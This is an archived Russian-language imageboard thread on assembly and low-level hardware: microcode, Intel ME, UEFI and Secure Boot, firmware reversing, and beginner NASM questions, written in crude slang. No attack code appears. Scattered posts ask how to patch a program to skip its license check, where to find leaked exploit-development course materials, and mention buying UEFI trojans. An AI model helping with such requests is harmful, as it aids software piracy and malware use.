Всё устроено так, что материнская плата (и её чипсет), процессор и память должны подходить друг к другу. Что от чего зависит - бессмысленный вопрос.
476 2363927
>>363521
поясни за обновления микрокода, пожалуйста. стоит ли их устанвливать где находится та информация что они обновляют и т.д. в линуксе такая функция есть когда загрузчик устанавливаешь
477 2364042
>>363352

> Я вам ещё скажу. Не знаю насчёт IBM PC, но в других компьютерах бывает, что процессор прямо в себе содержит ПЗУ, которое заложили его создатели. Оно совершенно секретное. После включения, процессор выполняет код, заложенный в этом ПЗУ. При этом, он даже не использует оперативную память компьютера! Вместо оперативной памяти, он использует собственную кэш-память, которая встроена прямо в процессор. Т.е. информация вообще никак этот процессор не покидает. Что там делает процессор - одному богу известно.



прчел, ты в берлоге без интернета живёшь? года эдак с 2009го во все трубы трубят про железный бэкдор "Intel ME" - процессор внутри процессора.
https://en.wikipedia.org/wiki/Intel_Management_Engine#Assertions_that_ME_is_a_backdoor
478 2364045
кто умеет в реверс-инжиниринг прошивок? биосов всяких, контроллеров, вот этого вот всего. пишите в личку))))
479 2364398
>>364045
А в чём проблема? Читаешь документацию по кодингу на твоём железе, реверсишь через ИДУ/Гидру. Это даже проще, чем игры ковырять, где ООП криво декомпилится и десятки тысяч функций.
480 2364543
>>364398
двачую. на железо обычно много кода не делают потому что чем больше года тем больше ошибок, а это критично для всяких прошивок, бивосов и прочего.

я когда пиздюком был не понимал почему они не добавляют в поддержку биоса более лучшее разрешение, мышь и т.д. а потом понял что это усложнение прошивки и как результат больше шансов на сбой и прочую хунйю
481 2364545
>>364398
я не умею в байтоёбство, только в скриптовое программирование.
плюс занят другими вещами, поэтому проще нанять кого-то, кто уже разбирается, чем разбираться самому.

>>364543
на железо обычно делают всякие обфускации и "проверки цифровой подписи", и для обхода всего этого нужно быть хардкорным байтоёбом-реверсером.
482 2364548
>>364545
да цифровую подпись наверное вообще не обойдёшь тут надо только в прошивке выполнение механизма проверки впиливать, либо сертификат менять.
483 2364551
>>364543
про уефи слыхал, не пиздюк?
484 2364552
>>364548
ето да, но относительно простые виды защиты типа AES шифрования обойти теоретически можно.
вот, например, один пчел отбайтоёбил прошивальщик самсунга и достал из него IV и KEY: https://github.com/chrivers/samsung-firmware-magic/
485 2364553
>>364551
пчел, уефи - это и есть

> усложнение прошивки и как результат больше шансов на сбой и прочую хунйю

486 2364555
>>364553
пчеликс, как же уефи добавляет больше "шансов" на сбой?
487 2364565
>>364555
увеличением потенциальных ошибок в коде вследствие усложнения логики прошивки.
488 2364571
>>364565
шиз
489 2364572
>>364551
слыхал, тебе анон >>364553 написал что уэфи это по сути усложнённый и расширеный биос

>>364565
удваиваю, но дополню что уефи расширяется за счёт сторонних программ которые необязательно могут быть на микросхеме с прошивкой, это может быть программа .efi на загрузочном диске, жёстком диске типа менеджеров загрузки винды и загрузчиков и если отказаться от работы устройства на котором есть стороннее efi приложение или заменить его то это пофиксит проблему. А вот если жопа в прошивке от это уже серьёзная проблема
490 2364575
>>364571
он прав. чем сложнее программа тем больше ошибок.

кто-то говорит что это безопасность, но на самом деле если в простой модели типа bios mbr дыра сразу видна, то в сложной их много мелких и тот кто захочет тот найдёт и когда он запустит какую-то жопу диагностировать откуда что и куда залезло гораздо будет сложнее чем в том же bios mbr моделе где было сразу ясно что переписаны просто первые 512 байт загрузчика и всё это часто фиксилось вручную в 16 ричном редакторе
491 2364582
>>364575
да, уефи умеет в Secure Boot, что при правильной настройке даёт дополнительную защиту от кибержуликов, особенно при физическом доступе к твоему устройству.
у BIOS такой защиты в принципе нет.

но, к сожалению, мало какие устройства дают пользователям возможность настройки Secure Boot, и поэтому шизы считают, что Secure Boot создан исключительно для того, чтобы на их нубуки нельзя было установить прыщеблядикс, а только исключительно винду.

> и когда он запустит какую-то жопу диагностировать откуда что и куда ...



и тут верно, я уже штук десять троянов под уефи встречал. ещё предлагали купить приватный, но тогда не было денег, а сейчас нет тех контактов, лол
492 2364594
>>364582

>чтобы на их нубуки нельзя было установить прыщеблядикс, а только исключительно винду.


ну тащем-то этот секьюр бут действительно анальная хуйня, там реально есть узкий набор сертификатов и всё если его нет то соси. у меня кстати на ноутбуке если дефолтнуть уефи на заводские по умолчанию секьюр бут отключён что как бэ намекае. но с другой стороны большинству людей кроме загрузки винды нихуя не надо так что впринципе он логичен, а прыщеблядискам вечно всё не то: то железо, то руки не те, то ещё что-то не то.

тупо натыкали ещё доп. проверок по сертификатам.
493 2364598
>>364594

> ну тащем-то этот секьюр бут действительно анальная хуйня, там реально есть узкий набор сертификатов и всё если его нет то соси.


широко распространённое заблуждение, по причине

> мало какие устройства дают пользователям возможность настройки Secure Boot



на нормальных серверах и нубуках "ынтырпрайз" сегмента типа сынкпадов можно залить свои PK,MOK,KEK,ЧЕБУРЕК
494 2364603
>>364594

> тупо натыкали ещё доп. проверок по сертификатам.


и это хорошо, потому что если у тебя нормальное устройство и ты зальёшь свои ключи в базу секуре бута, то мимокрокодящий кибержулик не сможет ребутнуть твой ноутбук, загрузиться с LiveCD винды и залить какое-нибудь говно в загрузчик, т.к. уефи увидит, что у LiveCD подпись какого-то майкрософта, а не твоя.

а на 99.99999% других устройств он может так сделать, т.к. ключи майкрософта со своих устройств удаляет в лучшем случае один человек из десяти миллионов.
495 2364604
>>364603
а тогда нахуя секьюр бут который нельзя настраивать? он видимо выполняет функцию чисто чтобы винду не подменил никто?
496 2364614
>>364604
именно, Ватсон!
→→→

> поэтому шизы считают, что Secure Boot создан исключительно для того, чтобы на их нубуки нельзя было установить прыщеблядикс, а только исключительно винду.



на большинстве consumer-grade устройств ненастраиваемый секуре бут для того, чтобы
а) шизы не могли установить свой прыщеблядикс вместо какой надо операционной системы
б) кибержулики не могли прописать малварь в загрузчик винды. но они один хуй это могут
497 2364633
>>364614
спасибо, понял. годно, анон. самый просветлённый тред по низкому уровню на всей борде. я раньше подобными вопросами заёбывал всех в /s/ в linux треде, но в asm гораздо более прошареные анончики сидят. годно очень, спасибо.
498 2364653
>>363516
а ещё есть такая хуйня, как вендор-лок оперативной памяти: https://hannuhartikainen.fi/blog/hacking-ddr3-spd/
- гейбуки не дают запускать память с большой частотой, но иногда можно перепрошить контроллер на планке оперативы, чтобы он всегда работал на низкой частоте.

а ещё есть такая хуйня, как "Memory reference code", или "mrc.bin" https://doc.coreboot.org/northbridge/intel/haswell/mrc.bin.html
- старые материнки не запустятся, если в биосе не будет этого файла.
499 2364654
>>363927

> стоит ли их устанвливать


да - обычно они исправляют "железные" ошибки в процессоре на "софтовом" уровне.

> где находится та информация что они обновляют


внутри самого процессора))))
500 2364658
>>364653
да гейбук это вообще анальная хуйня максимально аналят систему и без того оверпарйнстую. по моему опыту лучше летитьюдов и синкпадов ничего нет среди ноутбуков в плане качество, возможность настройки ит.д.

>>364654
ну то есть внутри проца есть какой-то блок памяти где микрокод хранится?
501 2364660
>>364658
да, а ещё внутри проца есть ещё один проц со своими RAM и ROM))))
502 2364673
>>364660
ты серьёзно говоришь или шутишь?
503 2364678
>>364673
ещё один из берлоги вылез.
>>364042
1652539018044.png234 Кб, 624x556
504 2365058
505 2365233
>>364575

>он прав. чем сложнее программа тем больше ошибок.



Дааа, не факт. Все эти UEFI не такие уж и большие софтины. Пусть она и побольше, но всё равно её реально хорошо написать практически безошибочно.
Повозиться придётся, конечно. Возможно, даже формально верифицировать (ну это я уже мечтаю).
Только кто бы это всё оплатил... Обойдётся в копеечку.

Скорее, всё так есть, как оно есть сейчас - оттого, что выхлоп не соответствует затратам.
506 2365328
>>365058
мерси, анон.
507 2365391
>>365328
но это только x86, на других архитектурах может чуть иначе. но в общем похоже, что в некоторых физ адресах из доступного адресного пространства может быть мусор, потому что туда ничего не замаплено. или, если адресное пространство маленькое, то доступной памяти будет меньше.

https://web.eecs.umich.edu/~prabal/teaching/eecs373-f11/labs/lab3/index.html
https://inst.eecs.berkeley.edu/~cs61cl/fa08/labs/lab25.html
https://www.cs.cornell.edu/courses/cs4410/2018su/lectures/lec02-devices.html
https://www.mathcs.emory.edu/~cheung/Courses/355/Syllabus/6-io/addressing.html
https://docs.oracle.com/cd/E19253-01/816-4854/index.html
https://lwn.net/Kernel/LDD3/
https://lwn.net/Articles/250967/
508 2365598
>>363363

>А по каким книгам ты это изучаешь?


Это - не какое-то сакральное знание. Процессор и чипсет образуют схемотехническое единство. Можешь разбираться в этом, читая чипсетные дэйташиты. В настольных ПК PCIe - основной интерфейс периферии. Вникай в спецификации. Там всё понятно описано. Ну это главное, с чего можно начать.
А разве это не ты Таненбаума читал последние полгода? Там это всё упоминается, вроде.
509 2365828
>>365598
Это я, я засираю вам тред с осени 21го года своими вопросами нафажными. Щас я читаю книгу, вернее дочитваю что мне здесь советовали по асму x86, я бы и раньше дочитал и к x64 перешёл но там война началась и был поглощён информаицонным полом, сильно отвлёкнся на него на целых 2 месяца.

Ну там я читал только 1 его книгу про общее описание операционных систем. Там про чипсеты вроде ничего не помню, про жд помню, про файловые системы помню, про ядра винды и линукса помню, про файловые системы, про многопроцессорные системы помню ну и про безопасность помню.

А вот подробно про чипсеты я не помню. Хотя вроде бы про шины он там описания давал. Но я ещё до него архитектуру пк читал про то как процессоры делают, там больше схематехник и цифровая логика была нежели аспекты программирования
510 2365829
>>365598
Спасибо, анон, больше посмотрю потом если дойду. А то столько всего итак запланировано почитать
511 2365838
>>364565
смешной тейк, учитывая что код для современного железа в принципе ориентирован на уефи и потребует сотню костылей и заглушек если васян попробует вогнать в свой сетап самопальный биос
512 2365841
>>365838
Я думаю что человек который способен писать .efi приложения врядли является васяном
перекатите перекатите 513 2366564
перекатите
514 2366771
>>365391
а ведь это адресное пространство не так часто используется. как правило устройства обменяются с процем инфой через dma используя озу. ну типа жд отправляет инфу в озу а проц её оттуда по определённым адресам закреплённым на жд читает поотм кладёт туда что-то и жд это читает ит.д.
515 2367463
Кто нибудь знает, есть ли какие-нибудь микроархитектурные оптимизации для команд MOVS_ ? Для ускорения пересылки из памяти в память напрямую, минуя процессор и Front Bus. Может какие-то блиттеры в современнвой RAM?
516 2367468
>>367463

> команд MOVS


> напрямую, минуя процессор


Нет, конечно. Выпей таблетки.
517 2367636
Двач, неделю как пытаюсь вкатиться в ассемблер, хочу спросить, существует ли какой удобный справочник комманд?
Просто в этой низкоуровневой теме постоянно приходится гуглить как не в себя.
518 2367638
>>367636
Какой справочник? Машинных команд? Команд ассемблера? Как он должен быть организован, по-твоему? Начни с шапки.
519 2367988
>>367636

>существует ли какой удобный справочник комманд


Открываешь мануалы intel по x86, читаешь. Там 3000 страниц текста, включая описание всех команд.
520 2369370
А как устаналиваются эти 4 режима привелегий работы процессора? Чё-то уже больше половины книги по x86 прочитал но так нигде упоминания об это и не нашёл...
521 2369876
Почему в NASM не работают экранирование кавчки? 'Today\'s Date is Thursday June 02, 2022!'
522 2370241
>>369370
эти привилегии кого надо привилегии
523 2370431
>>369876
попробуй двойные "
524 2370724
>>370241
Ну скажи как определяется что процессор щас в том режиме в котором какие-то инструкции выполнять нельзя? в каком-нибудь регистре флаги указывают это да?
525 2370919
>>370724
да, контрольные регистры в x86, кроме этого должны соблюдаться дополнительные условия, в зависимости от режима.
526 2371109
>>370919
мерси. ну я щас про стек на примере линукса читаю, виртуальное адресное пространство. вот это всё. впринципе в книге ещё 100+ страниц осталось может я там до этого дойду, просто нетерпелив
527 2371356
>>371109
наебал. привелегии указаны в сегментах кода, данных и селектора, а в длинном режиме процессор проверяет бит в таблице страниц.
528 2371565
Продолжаю изучать ассемблер, двач, подскажите почему выдаёт ошибку error: mismatch in operand sizes на эту инструкцию "mov eax, byte [string]" если указать спецификатор размера (подчеркнул) определив сколько байт копировать в регистр из строки?
529 2371610
>>371565
Потому что внезапно размеры операндов не совпадают. Это ты так троллишь?
530 2371653
Антуаны, доброго вечера.
В интернете много информации по этой теме, но лучше спросить у живых людей с опытом. Собственно, вкатываюсь в реверс, чтобы портировать и мододелить старые игрушки. Какой дизассемблер посоветуете? IDA - слишком дорого и сложно для новичка. Гидра - смущает java и авторы поделия. Может быть radare2 или gdb?
531 2371827
https://pastebin.com/NePykupd
Помогите нубу. Запутался и вообще не вдупляю, почему вместо суммы печатает гарбидж.

>>371109
Что за книжка, анон?
533 2371981
>>371356
спасибо

>>371827
x86 - Assembly Language Step-By-Step - Programming with Linux, 3rd edition (Wiley, 2009, 0470497025)

x64 - professionalnoe-programmirovanie-na-assemblere-x64-s-rasshireniyami-avx-avx2-i-avx-512_RuLit_Me_687870
534 2371989
>>371653

> слишком дорого


Куда ещё дешевле чем бесплатно?

> сложно


За пол дня разберёшься, всё ещё лучший вариант для декомпиляции крестов.

> смущает java и авторы поделия


Это тебя не должно ебать. А вот ограниченность функционала должно, в целом декомпилит получше иды, но функционал такой себе.

> старые игрушки


> radare2


Ебанутый?

> gdb


Ты точно ебанутый. С дурки начни, а не с дизассемблинга.
wtf.png7 Кб, 112x591
535 2373883
>>241525 (OP)
Байтогоспода, снизойдите до казуала. Не могу понять почему во всех hex редакторах игнорируется самый младший рязряд в нумерации адресов, и вместо счёта 0, 1, 2, 3, 4... пишут 0, 10, 20, 30, 40...
С гуглом обосрался, нахожу только флуд не по теме, от кулхака учащих считать в шестнадцатиричной системе, до школоты пересказывающей msdn.
С меня мешок нихуя (инфляция ¯\_(ツ)_/¯ ).
536 2373902
>>373883
Так спрва от колонки адресов - строка по 16 (10H) байт. Тут адреса первых байтов в строках.
Работать с инструментом надо, а не на скриншоты маняфантазирвать.
537 2373935
>>373902
Блин, как же я сразу недопёр. В который раз задаюсь вопросами, на которые убиваю кучу времени, а потом испытываю с этого испанский стыд.

>Работать с инструментом надо


Я пытаюсь(

спасиб анон
538 2374079
>>367463
Кстати, и в обход кэшей тоже.
539 2374210
>>371978
NSA FBI MI6 HUIPIZDA двадцать лет используют железный бэкдор в процессорах
@
всем похуй

русские хакеры тоже решили воспользоваться железным бэкдором
@
КОШМАР! ГОЛАКТЕКО ОПАСНОСТЕ! ЗАПРЕТИТЬ! НИПУЩАТЬ!

алсо вот вам ещё полезный видос про SMM и память youtu.be/lR0nh-TdpVg
540 2374804
Байтаны, может кто знает, где бы найти материалы курсов Offensive Security и Sans?
Интересовало по теме exploit development - EXP301, EXP401 и подобное
541 2377548
привет вам!

очень часто в разных туторах слышу слово - память
типо программа использует память, операционка ложит программу в память, программа обращается к памяти, возник вопрос, а что такое эта самая память то? если в простых терминах
как об этом думать концептуально? просто как о массиве где индексы целые числа? а значения что угодно?

второй вопрос есть ли какая то книга по асм которая не только бы учила асм, но при этом учила бы намного глубже понимать что такое комьютер (ос память, ввод вывод)
спасибо!
перекатите перекатите 542 2377593
перекатите
543 2377610
Решил тут вкатиться в ромхакинг, перевести любимую игру. В игре есть файлы ресурсов, для которых к счастью уже написан распаковщик. Но мне стало интересно, а как вообще писать распаковщики? Как узнавать структуру файла?
image.png521 Кб, 701x528
544 2377795
>>377548

>книга


Таненбаум - Современные операционные системы
Таненбаум - Архитектура компьютера
Харрис-ы - Цифровая схемотехника и архитектура компьютера
Последнее, если уже угорел по теме и готов занырнуть в физику протекающих в пэкарне процессов с головой
>>377593

>перекатите

545 2379046
>>377548
Про память еще забыл это - What Every Programmer Should Know About Memory она правда старая и от красношапки, но мне в свое время понравилось
546 2379074
>>377548

> есть ли какая то книга


х86: https://cdrdv2.intel.com/v1/dl/getContent/671200
Арм: https://developer.arm.com/documentation/ddi0487/ha/?lang=en
Остальное кал и ненужно.
547 2382036
>>364045
бiмп вопросу.
ищу реверсеров софта под Linux
548 2384768
Аноны, закончил читать книгу оп x86, уже по x64 читаю. И вот что мне не хватает а есть ли какая книга которая описывает как работает чипсет, dma в частности как работает память ну и желательно весь чипсет целиком. Потому что я так понял процессор имеет только адрес памяти и этот адрес может ссылаться на любое устройство от пзу биоса, до озу или видеокарты.

Вот где бы такую найти? А то хочется знать как и чипсет работает.
549 2384790
>>384768
подозреваю, что на торрентах, в "сливах секретных документов Intel"
550 2384792
>>384790
алсо изучишь, как работает чипсет и DMA - стучи.
мне не только реверсеры контроллеров и софта под Linux нужны, но и кодеры по этой же теме.
551 2384802
>>384790
>>384792
То есть это недоступно чтоли? Выходит что о работе чипсета можно только поверхностную информацию с википедии узнать?
552 2384817
>>384802
скорее всего такая документация есть, но закрыта за регистрациями и подписаниями NDA, поэтому проще пошерстить по торрентам.
553 2384875
>>384817
Спасибо, анончик. Ну короче я понял. И программисты процессора и те кто пишут драйвера они не сами как правило не особо понимают что там происходит во время передачи данных между их устройством и процом. Всё упирается в команды и в какие-то адреса абстрактной памяти через которые и обмениваетются устройства данынми с процом.
554 2385414
Как же хочется в эпоху win 9.x когда можно было задней мысли переписывать память любого процесса и вставлять туда перереход на свои программы в любом месте...
555 2385847
>>384768
Даташиты/спецификации интелловских чипсетов:
https://www.intel.com/content/www/us/en/products/details/chipsets/desktop-chipsets/docs.html?s=Newest
556 2387221
>>385847
Cпасибо, анончик. Сохрнил в архив когда-нибудь почитаю

А есть варианты выпилить часть ассемблерных инструкций или наоборот впилить переход на свои инструкции в исполняемый файл одной программы? Мне нужно активацию на про версию в одной программе обойти, вот хочу чтобы она при запуске вообще миновала код отвечающий за всякаую проверку лицензий и прочего говна.
557 2387280
А если вызывать функцию в winapi на С или на С++ написаны?
558 2387281
>>387280
то есть не в winapi функции на с или с++ написаны?
559 2389428
Аноны, а есть ли учебники с AT&T синтаксисом на русском?
560 2390233
>>389428
Да бери любой на английском и копируй по абзацу в яндекс или гугл переодвчик. Вполне читабельно.
561 2394274
>>371827
Пожалуй бамп.
562 2394800
ппц шапка в говно превратилась %)
563 2394817
>>377548
читаешь как делаются элементарные триггеры "в железе", а дальше алгебра логики
https://nandgame.com/
564 2394825
>>394800
Что не так?
565 2396732
В чём суть то x64 ассемблера? Добавили больше регистров, расширили прежние с 32 до 64 битов и добавили больше математических расширений типа для работы с упакованными числами и с плавающей запятой?
566 2396742
>>396732

>суть x64 ассемблера


О чём речь, вообще?

264 > 232
567 2396853
>>396742
Ну чё туда такое принципиально новое внесли? Тупо расширили разрядность регистров, и прокачали математическую часть с дробными числами. Я просто по x64 книгу читаю и там весь упор сделан только на обсуждение регистров x64 и математической части с числами с плващющей запятой, регистры XMM YMM обсуждаются
image.png64 Кб, 599x670
568 2398737
https://pastebin.com/pfmkhEeT
Я нуб. Понятно, что это не работает (не уверен, как именно, но ответ "защита" меня пока устраивает; по крайней мере ошибок в коде я не вижу). Как заставить это работать?
570 2399779
>>399212
Да нет, я понимаю, что права rw- выставлены. Не указал в вопросе, что мне для линукса надо. Плюс очень хотелось сделать это, не копируя код на стек/кучу, хотя может я чего-то и здесь не понимаю.

В результате сделал вот так, очень уродливо:
https://pastebin.com/pETsnacq
571 2400266
>>399779
Какая тебе разница то на куче или в .data
572 2401118
>>394825
Хорошая шапка, но в прошлой было ещё много полезной инфы.

>>400266
А вот хочу в .data и всё! И топнул ножкой.
Screenshot20220710180546.jpg110 Кб, 720x479
573 2402007
Собираюсь или нет, не знаю, лень же в свободное время вкатиться вспомнить в c++, освоив пару новых для себя библиотек, написав простую программулину с gui уровня gtk/qt, и что-нибудь с сокетами и opengl каким-нибудь, не тратив много времени на последнее графическое творчество уровня б, просто поковырять, с целью удовлетворить интерес. Ну, думаю, если написать пару простых программ с gui, сокетами и графикой, можно в резюме строчку по c++ добавить.

Дальше выкатиться в c, чтобы можно было скачать исходники ядра линукса и почитать их немного, ну или чтобы уметь написать свой модуль ядра для своего железа уровня б, собранном на ардуине каком-нибудь.

Далее с этой отправной точки параллельно долбить три направления:

1. Gnu assembler, чтобы дизасемблировать свои же программы и драйвера, понимать, как это работает на низком уровне.

2. Программирование микроконтроллеров, уже без ардуино и своими печатными платами с паяльником в руке

3. Сети, ну чтобы можно было собрать свою инфраструктуру и понимать это глубже, чем просто в роутер витую пару обжать.

Если по c++ и c все понятно, то по железу, сетям, ассемблеру, пайке и микроконтроллерам мне надо небольшие, но емкие книги или видеокурсы. Я не могу читать это 10 лет, но почитывая немного за пару лет освоить хотелось бы. Это самый адекватный тред тут, чтобы спросить подобное. Так что пишите мне советов мудрых.
574 2402096
https://c9x.me/x86/html/file_module_x86_id_26.html
Как эти режимы адресации из инструкции в байтовом представлении выудить?
Как e8 1a fa ff ff дизассемблируется в call 10a0, а ff d2 - в call ✵%rdx?
Надеюсь, что в мануале будет ответ, но может тут у кого есть на уме.
575 2402132
>>402096
Первый раз слышу про libopcodes, но походу это то, что мне надо. Вопрос исчерпан.
576 2403324
>>401118

>было ещё много полезной инфы.


Скажи, что добавить.
577 2404349
Байтаны, в чем тут отличие в упор не вижу, а вторая строка (для tubes из pwntools) в отличии от первой приложение с переполнением не валит?
perl -e 'print "A" x 16777216';
serv.send(b'A' * 0x1000000)
578 2404398
>>404349
Ok, дело в представлении байтами b'A' - если подставить вместо перла однострочник на питоне с принтом повтора строки, получаю ожидаемое поведение
579 2404466
>>404349
>>404398
Отбой, хз как эти трубки работают с сетевым соединением, но выглядело так, что сессия закрывалась до того, как довольно большой кусок мусора для переполнения успевал обработаться и часть входных данных просто терялась
time.sleep(10) в конце скрипта решил проблему
580 2406214
Челы а нахуй вы таненбаума советуете в 2022? Это же кал по 2 страницы на каждую тему. Реально на цыганских курсах больше знаний ньюфаг получит
581 2406607
>>406214

>таненбаума


Ужасная книга.

>на каждую тему


Если бы.
582 2406801
>>406214
Обычный учебник младших курсов.
Можешь предложить, чем заменить?
583 2408782
>>384875
Вы, блядь, рофлите?
584 2413021
>>408782
нет
585 2422750
>>396732
Да. Была архитектура на троечку, стала на 3+ (раньше регистров совсем было мало для ЯВУ).
586 2424913
Читая книги по ассемблерам я понял что раньше развитие в плане прозводительности шло по сути за счёт расширения регистров, увеличения кол-ва ядер и ускорения самих проциков.

Однако сейчас уже ясно что чисто физически из этого выжато всё что можно: плотность транзисторов достигла максимума, гигарецы разогнаны по максимуму, быстрее уже физика не пвозляет. То есть новые регистры ядра уже не впихнуть, да и ггц не нагнать.

И сейчас упор на прирост производительности будет делаться за счёт алгоритмов, создания регистров и команд специального назначения типа как в книге по ассемблеру x64 написано, что мне здесь советовали. Там рассказывается про avx avx2 avx512 вот все наборы расширений. Там есть например специальные команды которые позволяют избегать лишних команд условного перехода, лучше обрабатывать определённые типы данных и просто много параллельно типа упакованных чисел. То есть на это упор всё будет идти. Будут возможно конвейры оптимизировать.

Да и что тут думать я с 2012го года заметил что прирост в памяти и гигарецах с ядрами в техники нет. Сейчас стабильно ноутбуки бюджетные с 4-8гб оперативы продаются с 2-4 ядерными процессорами тоже самое в 2012ом году было. Кстати. Единственное что поменялось это ssd начали ставить вместо механического жд.
Тред утонул или удален.
Это копия, сохраненная 4 августа 2022 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /pr/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски